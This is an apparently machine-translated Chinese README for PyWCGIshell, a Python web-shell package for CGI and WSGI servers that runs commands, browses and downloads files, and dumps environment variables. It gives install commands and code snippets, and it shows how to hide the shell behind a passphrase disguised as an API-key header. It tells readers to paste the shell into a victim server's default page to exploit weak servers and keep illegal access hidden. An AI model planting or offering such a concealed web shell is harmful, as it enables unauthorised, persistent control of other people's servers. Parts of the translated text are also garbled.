PyWCGIshell

Pywcgishell

描述

该软件包实现了CGI和WSGI服务器的网络壳。

使用此网络架，您可以：

• 探索目录并下载文件
• 执行命令行（带有命令历史记录）
• 显示有关环境服务器的基本信息
• 显示环境变量

要求

此包需要：

• python3
• Python3标准库

安装

pip install PyWCGIshell

用法

命令行

（命令行对于尝试Webshel​​l很有用）

python3 -m PyWCGIshell wsgi # Try it in wsgi mode

Python脚本

CGI页面

 from PyWCGIshell import WebShell

def my_default_cgi_page ():
	print ( "Content-type:text/plain; charset=utf-8" )
	print ( "" )
	print ( "Hello World !" )

webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run ()

WSGI页面

 from PyWCGIshell import WebShell

def my_default_wsgi_page ( environ , start_response ):
    status = '200 OK'
    headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
    start_response ( status , headers )
    return [ b"Hello World !" ]

webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function 

Webshel​​l选项

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()

我不建议使用pass_type之类的method隐藏您的网络壳。

您可以使用类似的配置隐藏您的网络壳。

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run

使用此网络壳：

• 配置（服务器类型，密码和密码位置）并复制Webshel​​l代码或安装
• 将其粘贴到受害者服务器的默认页面或导入
• 用密码发送请求并利用弱服务器

例子

在WebScript上安装和配置Pywcgishell，以保持您的非法访问并隐藏它（Repo在这里）。

Webshel​​l在WebScripts- YouTube上

链接

• Github页面
• 文档
• PYPI软件包

执照

在GPL下获得许可，版本3。